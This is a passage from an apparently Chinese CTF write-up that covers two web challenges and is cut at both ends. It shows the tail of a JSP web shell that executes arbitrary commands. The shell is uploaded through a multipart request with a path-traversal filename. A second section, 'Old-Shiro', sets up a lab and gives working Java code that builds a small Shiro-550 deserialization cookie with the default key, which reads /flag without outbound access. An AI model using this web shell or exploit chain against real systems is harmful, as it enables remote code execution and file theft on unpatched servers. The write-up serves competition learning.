InputStreamReader(process.getInputStream()));</span></code><code><span class="code-snippet_outer">                String line;</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">while</span> ((line = reader.readLine()) != <span style="color: rgb(14, 156, 229);">null</span>) {</span></code><code><span class="code-snippet_outer">                    output += line + <span style="color: rgb(221, 17, 68);">&#34;&lt;br&gt;&#34;</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                reader.close();</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">int</span> exitCode = process.waitFor();</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">if</span> (exitCode != <span style="color: rgb(14, 156, 229);">0</span>) {</span></code><code><span class="code-snippet_outer">                    output += <span style="color: rgb(221, 17, 68);">&#34;Command execution failed with exit code: &#34;</span> + exitCode;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span style="color: rgb(202, 125, 55);">catch</span> (IOException | InterruptedException e) {</span></code><code><span class="code-snippet_outer">                output += <span style="color: rgb(221, 17, 68);">&#34;Error executing command: &#34;</span> + e.getMessage();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">out</span>.println(<span style="color: rgb(221, 17, 68);">&#34;&lt;p&gt;Executed command: &#34;</span> + command + <span style="color: rgb(221, 17, 68);">&#34;&lt;/p&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">out</span>.println(<span style="color: rgb(221, 17, 68);">&#34;&lt;p&gt;Output:&lt;/p&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">out</span>.println(<span style="color: rgb(221, 17, 68);">&#34;&lt;pre&gt;&#34;</span> + output + <span style="color: rgb(221, 17, 68);">&#34;&lt;/pre&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">        } <span style="color: rgb(202, 125, 55);">else</span> {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">out</span>.println(<span style="color: rgb(221, 17, 68);">&#34;&lt;p&gt;No command provided.&lt;/p&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    %&gt;</span></code><code><span class="code-snippet_outer">&lt;/body&gt;</span></code><code><span class="code-snippet_outer">&lt;/html&gt;</span></code><code><span class="code-snippet_outer">---------------------------<span style="color: rgb(14, 156, 229);">-319187937788325310215959</span></span></code><code><span class="code-snippet_outer">Content-Disposition: form-data; name=<span style="color: rgb(221, 17, 68);">&#34;fileUploadFileName&#34;</span></span></code><code><span class="code-snippet_outer">../../../views/a.jsp</span></code><code><span class="code-snippet_outer">---------------------------<span style="color: rgb(14, 156, 229);">-319187937788325310215959</span>--</span></code></pre></section></article><p style=""><br/></p><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191" style=""><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>03</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Old-Shiro</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3w03mg31ltpd324l&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3w321yfn9s9du4sg&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;Web&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;, &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3w6s0geybu2d6uj6&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;difficulty:Normal&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx777clsuj1mzw8e2&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;使用以下 docker-compose 文件搭建，文件位于 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx77s8rhw9tkgxv99c&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:10,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;E:\\sync\\realworld-ctf\\2024-shiro\\question\\docker-compose.yaml&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><br/></p><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Web</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Normal</span></p><p><br/></p><p><span style="font-size: 15px;">使用以下 docker-compose 文件搭建</span></p><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);"></span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">version: <span style="color: rgb(221, 17, 68);">&#39;3.3&#39;</span></span></code><code><span class="code-snippet_outer">services:</span></code><code><span class="code-snippet_outer">  nginx:</span></code><code><span class="code-snippet_outer">    image: <span style="color: rgb(221, 17, 68);">nginx:1.20.1</span></span></code><code><span class="code-snippet_outer">    ports:</span></code><code><span class="code-snippet_outer">      <span style="color: rgb(175, 175, 175);">-</span> <span style="color: rgb(221, 17, 68);">&#34;0.0.0.0:8888:8888&#34;</span></span></code><code><span class="code-snippet_outer">    volumes:</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(175, 175, 175);">-</span> <span style="color: rgb(221, 17, 68);">./nginx.conf:/etc/nginx/nginx.conf</span></span></code><code><span class="code-snippet_outer">    networks:</span></code><code><span class="code-snippet_outer">      <span style="color: rgb(175, 175, 175);">-</span> <span style="color: rgb(221, 17, 68);">internal_network</span></span></code><code><span class="code-snippet_outer">      <span style="color: rgb(175, 175, 175);">-</span> <span style="color: rgb(221, 17, 68);">out_network</span></span></code><code><span class="code-snippet_outer">  backend:</span></code><code><span class="code-snippet_outer">    build:</span></code><code><span class="code-snippet_outer">      context: <span style="color: rgb(221, 17, 68);">./backend</span></span></code><code><span class="code-snippet_outer">      dockerfile: <span style="color: rgb(221, 17, 68);">Dockerfile</span></span></code><code><span class="code-snippet_outer">    networks:</span></code><code><span class="code-snippet_outer">      <span style="color: rgb(175, 175, 175);">-</span> <span style="color: rgb(221, 17, 68);">internal_network</span></span></code><code><span class="code-snippet_outer">networks:</span></code><code><span class="code-snippet_outer">    internal_network:</span></code><code><span class="code-snippet_outer">        internal: <span style="color: rgb(221, 17, 68);">true</span></span></code><code><span class="code-snippet_outer">        ipam:</span></code><code><span class="code-snippet_outer">            driver: <span style="color: rgb(221, 17, 68);">default</span></span></code><code><span class="code-snippet_outer">    out_network:</span></code><code><span class="code-snippet_outer">        ipam:</span></code><code><span class="code-snippet_outer">            driver: <span style="color: rgb(221, 17, 68);">default</span></span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx77qx1ervm5s7pc1m&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;其中 nginx 主要是将 java 的端口代理出来，里面的 backend 服务是一个 shiro550 的漏洞环境，配置为不出网。&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx77tfpz312xsm9lpa&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;首先分析 oldshiro 这个 jar 包，可以看到其设置了最大的 header 长度为 3000\r&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3N3F4MWVydm01czdwYzFtJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU1JTg1JUI2JUU0JUI4JUFEJTIwbmdpbnglMjAlRTQlQjglQkIlRTglQTYlODElRTYlOTglQUYlRTUlQjAlODYlMjBqYXZhJTIwJUU3JTlBJTg0JUU3JUFCJUFGJUU1JThGJUEzJUU0JUJCJUEzJUU3JTkwJTg2JUU1JTg3JUJBJUU2JTlEJUE1JUVGJUJDJThDJUU5JTg3JThDJUU5JTlEJUEyJUU3JTlBJTg0JTIwYmFja2VuZCUyMCVFNiU5QyU4RCVFNSU4QSVBMSVFNiU5OCVBRiVFNCVCOCU4MCVFNCVCOCVBQSUyMHNoaXJvNTUwJTIwJUU3JTlBJTg0JUU2JUJDJThGJUU2JUI0JTlFJUU3JThFJUFGJUU1JUEyJTgzJUVGJUJDJThDJUU5JTg1JThEJUU3JUJEJUFFJUU0JUI4JUJBJUU0JUI4JThEJUU1JTg3JUJBJUU3JUJEJTkxJUUzJTgwJTgyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyc3olMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ExMiUyQyUyMnN6VW5pdCUyMiUzQSUyMnB0JTIyJTdEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydXVpZCUyMiUzQSUyMmxyeDc3dGZwejMxMnhzbTlscGElMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTklQTYlOTYlRTUlODUlODglRTUlODglODYlRTYlOUUlOTAlMjBvbGRzaGlybyUyMCVFOCVCRiU5OSVFNCVCOCVBQSUyMGphciUyMCVFNSU4QyU4NSVFRiVCQyU4QyVFNSU4RiVBRiVFNCVCQiVBNSVFNyU5QyU4QiVFNSU4OCVCMCVFNSU4NSVCNiVFOCVBRSVCRSVFNyVCRCVBRSVFNCVCQSU4NiVFNiU5QyU4MCVFNSVBNCVBNyVFNyU5QSU4NCUyMGhlYWRlciUyMCVFOSU5NSVCRiVFNSVCQSVBNiVFNCVCOCVCQSUyMDMwMDAlNUNyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyc3olMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ExMiUyQyUyMnN6VW5pdCUyMiUzQSUyMnB0JTIyJTdEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">其中 nginx 主要是将 java 的端口代理出来，里面的 backend 服务是一个 shiro550 的漏洞环境，配置为不出网。</span></p><p><span style="font-size: 15px;">首先分析 oldshiro 这个 jar 包，可以看到其设置了最大的 header 长度为 3000</span></p></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="305" data-backw="578" data-imgfileid="503903322" data-ratio="0.5277777777777778" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=5260f1c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicTjYG7v9ksxUfXRUQHibknUwA67aNb2uIpwckibGZ0oYUanduHj05ewcOIlcYgiaWggtmicW1pCBEkvFg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx783bsb3om2z16gms&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;由于目标配置的是不出网的场景，因此我们需要考虑使用不出网的手法来进行 RCE，且 cookie 不能太大。\r&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx78ad5esguzrslpnm&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;如果使用网上的工具基本上 cookie 都会大于 3k\r&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3ODNic2Izb20yejE2Z21zJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU3JTk0JUIxJUU0JUJBJThFJUU3JTlCJUFFJUU2JUEwJTg3JUU5JTg1JThEJUU3JUJEJUFFJUU3JTlBJTg0JUU2JTk4JUFGJUU0JUI4JThEJUU1JTg3JUJBJUU3JUJEJTkxJUU3JTlBJTg0JUU1JTlDJUJBJUU2JTk5JUFGJUVGJUJDJThDJUU1JTlCJUEwJUU2JUFEJUE0JUU2JTg4JTkxJUU0JUJCJUFDJUU5JTlDJTgwJUU4JUE2JTgxJUU4JTgwJTgzJUU4JTk5JTkxJUU0JUJEJUJGJUU3JTk0JUE4JUU0JUI4JThEJUU1JTg3JUJBJUU3JUJEJTkxJUU3JTlBJTg0JUU2JTg5JThCJUU2JUIzJTk1JUU2JTlEJUE1JUU4JUJGJTlCJUU4JUExJThDJTIwUkNFJUVGJUJDJThDJUU0JUI4JTk0JTIwY29va2llJTIwJUU0JUI4JThEJUU4JTgzJUJEJUU1JUE0JUFBJUU1JUE0JUE3JUUzJTgwJTgyJTVDciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydXVpZCUyMiUzQSUyMmxyeDc4YWQ1ZXNndXpyc2xwbm0lMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTUlQTYlODIlRTYlOUUlOUMlRTQlQkQlQkYlRTclOTQlQTglRTclQkQlOTElRTQlQjglOEElRTclOUElODQlRTUlQjclQTUlRTUlODUlQjclRTUlOUYlQkElRTYlOUMlQUMlRTQlQjglOEElMjBjb29raWUlMjAlRTklODMlQkQlRTQlQkMlOUElRTUlQTQlQTclRTQlQkElOEUlMjAzayU1Q3IlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">由于目标配置的是不出网的场景，因此我们需要考虑使用不出网的手法来进行 RCE，且 cookie 不能太大。</span></p><p><span style="font-size: 15px;">如果使用网上的工具基本上 cookie 都会大于 3k</span></p></article><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">可以参考这两篇文章</span></p><p><a href="https://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&amp;mid=2247489588&amp;idx=1&amp;sn=0aa89b8828dc3e058ddbef69e2980790&amp;chksm=c2d4d32cf5a35a3a54d164198cf7a29bea915a8c0e00d76d47231090cec35630f393ecd5d89d&amp;scene=21#wechat_redirect" data-link-href-cangjie="https://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&amp;mid=2247489588&amp;idx=1&amp;sn=0aa89b8828dc3e058ddbef69e2980790&amp;chksm=c2d4d32cf5a35a3a54d164198cf7a29bea915a8c0e00d76d47231090cec35630f393ecd5d89d&amp;scene=21#wechat_redirect" target="_blank" rel="noopener noreferrer" data-linktype="2" style="font-size: 15px;"><a href="https://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&amp;mid=2247489588&amp;idx=1&amp;sn=0aa89b8828dc3e058ddbef69e2980790&amp;chksm=c2d4d32cf5a35a3a54d164198cf7a29bea915a8c0e00d76d47231090cec35630f393ecd5d89d&amp;scene=21" target="_blank">https://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&amp;mid=2247489588&amp;idx=1&amp;sn=0aa89b8828dc3e058ddbef69e2980790&amp;chksm=c2d4d32cf5a35a3a54d164198cf7a29bea915a8c0e00d76d47231090cec35630f393ecd5d89d&amp;scene=21</a></a></p><p><span style="font-size: 15px;"><a href="https://xz.aliyun.com/t/6227" target="_blank">https://xz.aliyun.com/t/6227</a></span></p><p><span style="font-size: 15px;">稍微处理一下 template 的构造方式就可以了，poc 如下</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">package</span> org.example;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> com.nqzero.permit.Permit;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javassist.ClassClassPath;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javassist.ClassPool;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javassist.CtClass;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> org.apache.commons.beanutils.BeanComparator;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> org.objectweb.asm.*;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javax.crypto.BadPaddingException;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javax.crypto.Cipher;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javax.crypto.IllegalBlockSizeException;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javax.crypto.NoSuchPaddingException;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javax.crypto.spec.IvParameterSpec;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> javax.crypto.spec.SecretKeySpec;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> java.lang.reflect.AccessibleObject;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> java.math.BigInteger;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> java.net.URLEncoder;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> java.security.*;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">import</span> java.util.PriorityQueue;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(14, 156, 229);">Main</span> {</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">void</span> <span style="color: rgb(221, 17, 68);">main</span>(String[ ] args) <span style="color: rgb(202, 125, 55);">throws</span> Exception {</span></code><code><span class="code-snippet_outer">        String key = <span style="color: rgb(221, 17, 68);">&#34;kPH+bIxk5D2deZiIxcaaaA==&#34;</span>;</span></code><code><span class="code-snippet_outer">        String javaCode = <span style="color: rgb(221, 17, 68);">&#34;Object attr = java.lang.Class.forName(\&#34;org.springframework.web.context.request.RequestContextHolder\&#34;).getMethod(\&#34;currentRequestAttributes\&#34;, new java.lang.Class[ ]{}).invoke(null,null);&#34;</span> +</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(221, 17, 68);">&#34;Object resp = attr.getClass().getMethod(\&#34;getResponse\&#34;, null).invoke(attr, null);&#34;</span> +</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(221, 17, 68);">&#34;String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\&#34;/flag\&#34;, new java.lang.String[ ]{})));&#34;</span> +</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(221, 17, 68);">&#34;resp.getClass().getMethod(\&#34;addHeader\&#34;, new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\&#34;r\&#34;, flag});&#34;</span>;</span></code><code><span class="code-snippet_outer">        Object cbGadget = getCbGadget(javaCode);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">byte</span>[ ] cbGadgetBytes = Serialization.serialize(cbGadget);</span></code><code><span class="code-snippet_outer">        String s = doShiroEncryption(cbGadgetBytes, key);</span></code><code><span class="code-snippet_outer">        System.out.println(<span style="color: rgb(221, 17, 68);">&#34;Cookie length: &#34;</span> + s.length());</span></code><code><span class="code-snippet_outer">        System.out.println(<span style="color: rgb(221, 17, 68);">&#34;Cookie is: &#34;</span> + s);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">byte</span>[ ] base64Decode(String key) {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">return</span> Base64.getDecoder().decode(key);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> String <span style="color: rgb(221, 17, 68);">base64Encode</span>(<span style="color: rgb(202, 125, 55);">byte</span>[ ] key) {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">return</span> Base64.getEncoder().encodeToString(key);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> String <span style="color: rgb(221, 17, 68);">urlEncode</span>(String key) <span style="color: rgb(202, 125, 55);">throws</span> UnsupportedEncodingException {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">return</span> URLEncoder.encode(key, <span style="color: rgb(221, 17, 68);">&#34;UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> String <span style="color: rgb(221, 17, 68);">doShiroEncryption</span>(<span style="color: rgb(202, 125, 55);">byte</span>[ ] content, String keyInBase64) <span style="color: rgb(202, 125, 55);">throws</span> NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">byte</span>[ ] key = base64Decode(keyInBase64);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">byte</span>[ ] iv = generateRandomIv();</span></code><code><span class="code-snippet_outer">        Cipher cipher = Cipher.getInstance(<span style="color: rgb(221, 17, 68);">&#34;AES/CBC/PKCS5Padding&#34;</span>);</span></code><code><span class="code-snippet_outer">        Key keySpec = <span style="color: rgb(202, 125, 55);">new</span> SecretKeySpec(key, <span style="color: rgb(221, 17, 68);">&#34;AES&#34;</span>);</span></code><code><span class="code-snippet_outer">        IvParameterSpec ivSpec = <span style="color: rgb(202, 125, 55);">new</span> IvParameterSpec(iv);</span></code><code><span class="code-snippet_outer">        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);</span></code><code><span class="code-snippet_outer">        <span style="color: 